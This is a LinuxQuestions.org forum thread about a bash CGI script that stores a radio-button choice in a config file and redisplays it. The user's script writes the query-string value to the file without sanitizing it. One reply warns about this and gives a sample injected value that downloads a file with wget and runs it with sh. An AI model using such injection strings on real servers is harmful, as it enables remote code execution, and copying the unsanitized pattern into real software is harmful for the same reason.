Linux - SoftwareThis forum is for Software issues.
Having a problem installing a new program? Want to know which application is best for the job? Post your question in this forum.
Notices
Welcome to LinuxQuestions.org, a friendly and active Linux Community.
You are currently viewing LQ as a guest. By joining our community you will have the ability to post topics, receive our newsletter, use the advanced search, subscribe to threads and access many other special features. Registration is quick, simple and absolutely free. Join our community today!
Note that registered members see fewer ads, and ContentLink is completely disabled once you log in.
If you have any problems with the registration process or your account login, please contact us. If you need to reset your password, click here.
Having a problem logging in? Please visit this page to clear all LQ-related cookies.
Get a virtual cloud desktop with the Linux distro that you want in less than five minutes with Shells! With over 10 pre-installed distros to choose from, the worry-free installation life is here! Whether you are a digital nomad or just looking for flexibility, Shells can put your Linux machine on the device that you want to use.
Exclusive for LQ members, get up to 45% off per month. Click here for more info.
if [ "$REQUEST_METHOD" != "GET" ]; then
echo "Error"
exit 1
fi
letter=$(echo "$QUERY_STRING" | sed -n 's/^.*letter=\([^&]*\).*$/\1/p' | sed "s/%20/ /g")
CONFIG_FILE="/home/$USER/www/testing.cfg"
if [ ! -e "$CONFIG_FILE" ];then
touch "$CONFIG_FILE"
fi
echo "LETTER="$letter"" > "$CONFIG_FILE"
How could it be done that after refreshing, the radio button automatically sets to the previously set letter? In other words I need to feed the config file into, but I don't know how to implement that.
Your submit script could reproduce the form and, since you are using bash, you could have the letter as the key in an array and set that element in the array to "checked".
However, be sure to tighten up the sanitization of the variable $letter before it gets passed to the system. You don't want letter to be a"; wget -O bad http:/...; sh bad; or anything similar.
The web page sends data to the server. The server processes it then sends a response back which is then rendered in the browser.
The way I've usually done it, albeit in perl not shell, is to put everything into the submit script which then displays a blank form if it has not already received any data.
Remember HTTP, and thus HTTPS, is completely stateless and also that the server does the work.
ok, but after the first selection, a config file is written. After that if I reload the page, I dont know what has been selected previously. So somehow when the page reloads, it should show what's been selected.
There should no reloading of any pages. The form should send the data away and get, via the submit script produced by the submit script, a new form with the right button checked. It's easy to do but not so easy to explain.
It's NOT easy to explain, yes. Going to try anyway.
Your form has radio buttons.
Select one ("check" it) and send to the server.
The server-side script needs to capture which is checked and populate the form with the checked attribute when it sends it back. So the form has
Code:
<input type="radio" $chkdA name="letter" value="A"
etc.
and the script that sends the form needs something like
LinuxQuestions.org is looking for people interested in writing
Editorials, Articles, Reviews, and more. If you'd like to contribute
content, let us know.